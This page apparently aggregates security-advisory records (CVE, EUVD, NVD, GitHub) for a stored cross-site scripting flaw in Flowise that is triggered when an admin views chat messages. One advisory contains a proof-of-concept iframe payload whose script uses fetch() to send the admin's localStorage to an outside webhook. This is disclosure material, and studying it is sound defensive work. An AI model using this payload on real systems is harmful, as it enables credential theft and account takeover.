Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Source published

6 Oct 2025 00:00:00 UTC

Source modified

6 Oct 2025 13:53:37 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Source published

Oct 6, 2025, 12:00:00 AM (timezone not stated)

Source modified

Oct 6, 2025, 1:53:37 PM (timezone not stated)

Observed here

9 Nov 2026 03:07:07 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Source published

6 Oct 2025 02:15:40 UTC

Source modified

9 Oct 2026 10:10:00 UTC

Observed here

25 Oct 2026 02:25:01 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-964p-j4gg-mhwc. This link is maintained to preserve external references. ### Original Description Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.

Source published

6 Oct 2025 03:31:38 UTC

Source modified

8 Oct 2025 19:34:58 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Publisher rating · HIGH

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint. --- ### Impact - **Type:** Stored Cross-Site Scripting (XSS) - **Who is impacted:** Any admin viewing messages in the FlowiseAI UI - **Data at risk:** Admin credentials, or sensitive info stored in `localStorage` - **Severity:** High (Account takeover, admin privilege escalation, full panel compromise) --- ### Affected Products - **Ecosystem:** `npm` - **Package name:** `flowise` - **Affected versions:** `< 2.2.7` - **Patched versions:**`1`

Source published

3 Oct 2025 21:47:37 UTC

Source modified

8 Jul 2026 07:59:25 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Publisher rating · CRITICAL